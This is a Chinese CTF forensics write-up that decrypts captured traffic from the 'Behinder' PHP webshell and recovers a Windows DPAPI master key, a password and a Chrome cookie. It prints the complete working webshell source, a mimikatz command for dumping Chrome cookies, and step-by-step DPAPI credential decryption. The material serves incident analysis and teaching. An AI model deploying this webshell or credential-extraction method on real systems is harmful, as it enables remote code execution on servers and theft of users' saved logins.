記一次對“冰蠍”一句話木馬流量的分析


本文作者:gtfly,由“合天智匯”公眾號首發,未經允許,禁止轉載!

 

預備知識

“冰蠍”php一句話木馬分析

“冰蠍”是什么?它是一款動態二進制加密網站管理客戶端,它可以在HTTP明文協議中建立加密隧道,可以用於躲避傳統的WAF、IDS等設備的檢測。項目地址:

https://github.com/rebeyond/Behinder

“冰蠍”一句話木馬可由Java、php、.net等語言來實現,我們以php為例來看這種新型的php一句話木馬的實現:

<?php
@error_reporting(0); session_start(); //如果接收到pass參數,則會生成16位的隨機秘鑰,存儲到session中 if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } //如果沒接收到pass參數,則利用存儲到session的秘鑰進行解密 else { $key=$_SESSION['k']; //接收POST來的加密后的待執行命令 $post=file_get_contents("php://input"); //如果不能加載openssl擴展,則使用base64解碼 if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } //使用openssl進行AES解密 else { $post=openssl_decrypt($post, "AES128", $key); } /* 將解密后的$Ppost以`|`分割為數組;例如$post為assert|eval('phpinfo();'),那么分割后為: array("assert", "eval('phpinfo();')") */ $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} //創建C類,利用__construct中的eval來執行解密后的值 @new C($params); } ?>

 

離線導出Chrome瀏覽器中保存的密碼

DPAPI,Data Protection Application Programming Interface,是Windows系統的一個數據保護接口,主要用於保護加密的數據。Chrome使用DPAPI保存了我們的登錄密碼和cookie值

用戶使用Chrome訪問網站進行登錄時,可以選擇是否保存密碼。當選擇保存密碼時,Chrome先將密碼進行加密,再保存在SQLite數據庫文件中,數據庫文件路徑位於:

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

同上,保存Cookie時,數據庫文件路徑為:

%LocalAppData%\Google\Chrome\User Data\Default\Cookies

存儲的cookie值被加密為DPAPI blob來進行保護;我們可以通過使用Mimikatz這個工具來對Chrome中的SQLite數據庫進行解析:

mimikatz dpapi::chrome /in:'%LocalAppData%\Google\Chrome\User Data\Default\Cookies'

解密DPAPI blob用到的相關概念:

  • DPAPI blob:一段密文,可以使用Master Key對其解密
  • Master Key:64字節,用於解密DPAPI blob;使用用戶登錄密碼、SID和16字節隨機數加密后保存在Master Key file中
  • Master Key file:二進制文件,可以使用用戶登錄密碼對其解密,得到Master Key

得到DPAPI blob、Master Key file和用戶登錄密碼后,便可通過Windows Password Recovery這個工具解密Master Key file得到Master Key,再通過Master Key解密DPAPI blob,從而獲得明文。詳細DPAPI的介紹可參考文末文章。

 

3CTF復賽“這是捕獲的黑客攻擊數據包”流量分析

用Wireshark打開后,首先看其http流量,發現主要對upload.phpupload/20190918/file_5d81f9f4d22d41.67475082.php這兩個php頁面進行了請求:

 

 

右鍵,追蹤upload.php的tcp流,發現其向upload.php上傳了一個shell.php文件,內容為上面的“冰蠍”一句話木馬:

 

 

上傳后,服務器端返回了上傳成功后的文件路徑:

 

 

接着,追蹤upload/20190918/file_5d81f9f4d22d41.67475082.php的tcp流:

 

 

可以看到,其分別用?pass=257?pass=790進行了請求,服務端返回了生成的秘鑰和session名稱;其對應信息:

參數      Cookie                               秘鑰
pass=257 PHPSESSID=3ctuh22vtilpn6dmhfiretvve8 23125af46e7c5a1f
pass=790 PHPSESSID=hie9ignjc1393vr719m0n38872 d59042be6e437849

在當前頁面搜索pass=257請求時返回的session名稱,發現只有生成返回時出現了一次,其他的請求使用的都是pass=790請求時返回的session名稱,那么可以知道其他請求所帶的加密信息的解密秘鑰為d59042be6e437849

 

之后,將這些請求信息解密,步驟:

在Wireshark選擇 文件->導出對象->http:

 

 

得到文件如下:

 

 

其中,file_5d81f9f4d22d41.67475082(*).php內容均為客戶端發送的加密的字符串。寫腳本批量解密:

<?php
    $key = 'd59042be6e437849'; for($i=1;i<=39;$i++){ //$post = file_get_contents('/home/gtfly/下載/file_5d81f9f4d22d41.67475082.php'); $post = file_get_contents('/home/gtfly/下載/file_5d81f9f4d22d41.67475082('."$i".').php'); $post=openssl_decrypt($post, "AES128", $key); $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; $params = preg_replace('/eval/', 'echo', $params); eval($params); } ?>

 

得到的php代碼都很類似,目的都是獲取目標主機上的特定文件內容:

 

 

最后一行,路徑格式為Master Key file的格式:

 

 

C:/Users/shadow/AppData/Roaming/Microsoft/Protect/S-1-5-21-2127750816-4215895028-2373289296-1001/6ecf76bd-1803-437e-92e6-28dd36c907aa

 

找到其解密前的內容,搜索含有此內容的數據包,查看對應的服務端返回的內容:

 

 

可以看到里面含有Master Key file的名字,先將其保存下來

繼續看解密得到的內容,在Master Key file上面發現有個文件名為password.txt

 

 

找到其加密字符串的位置(最后一次對話),解密其對應的服務端返回的字符串:

 

 

<?php
$key = 'd59042be6e437849'; $post = 'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg'; $post=openssl_decrypt($post, "AES128", $key); $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; var_dump($arr);

 

base64解碼,得到p@ssw0rd

解密的內容中,還有個路徑為C:/Users/shadow/AppData/Local/Google/Chrome/User Data/Default/Cookies,根據對應的密文追蹤流,發現服務器返回了SQLite3數據庫的數據:

 

 

 

將其導出,步驟:

顯示和保存數據設為原始數據,保存為文件sss

 

 

binwalk查看其隱藏的文件類型,可以看到其識別出了SQLite3數據庫:

 

 

dd將數據庫分割開:

 

 

進入數據庫,查看其內容和字段信息:

 

 

 可以看到,cookies表中有個encrypted_value BLOB字段,將其導出:

from os import getenv
import sqlite3
import binascii
conn = sqlite3.connect("ggg.db") cursor = conn.cursor() cursor.execute('select encrypted_value BLOB from cookies') # 導出encrypted_value BLO字段 for result in cursor.fetchall(): print(result) print (binascii.b2a_hex(result[0])) f = open('save.txt', 'wb') # 保存為save.txt f.write(result[0]) f.close()

那么目前我們獲得的信息:

DPAPI blob
Master Key file password

則可推測password.txt存儲的是用戶登錄密碼,使用這個密碼對Master Key file解密得到Master Key,即可利用Master Key對數據庫中的DPAPI blob解密

Master Key file保存時格式要如下(保存Wireshark中的流量時,要去除不屬於這個文件的內容,可參考電腦自帶的Master Key file文件內容),否則Windows Password Recovery不能成功打開:

 

 

之后要將其命名為上面解密得到的Master Key file文件名:

6ecf76bd-1803-437e-92e6-28dd36c907aa

打開Windows Password Recovery,選擇Utils->DPAPI Decoder and Analyser->Decrypt DPAPI data blob

 

 

選擇DPAPI blob file為save.txt,即保存的cookies表中的encrypted_value BLOB字段的值:

 

 

之后選擇Master Key file6ecf76bd-1803-437e-92e6-28dd36c907aa,最后輸入User SID,即Master Key file前的路徑名S-1-5-21-2127750816-4215895028-2373289296-1001,和用戶登錄密碼,即上面得到的p@ssw0rd

 

 

得到解密后的結果,即flag:

 

 

其他

題目文件:

鏈接:https://pan.baidu.com/s/1AQcldQ_WkcghKigK83ndZQ 提取碼:tirm

復制這段內容后打開百度網盤手機App,操作更方便哦

 

參考文章:

https://bbs.pediy.com/thread-247634-1.htm

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

 

 實踐操作:

實踐操作可以到合天網安實驗室(http://www.hetianlab.com/cour.do?w=1&c=CCID9012-d1c7-459f-a4f1-da5898cc13bd)動手操作實驗——惡意流量分析,已經為你搭建好了虛擬環境,本實驗將帶領大家走進分析網絡流量的大門!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM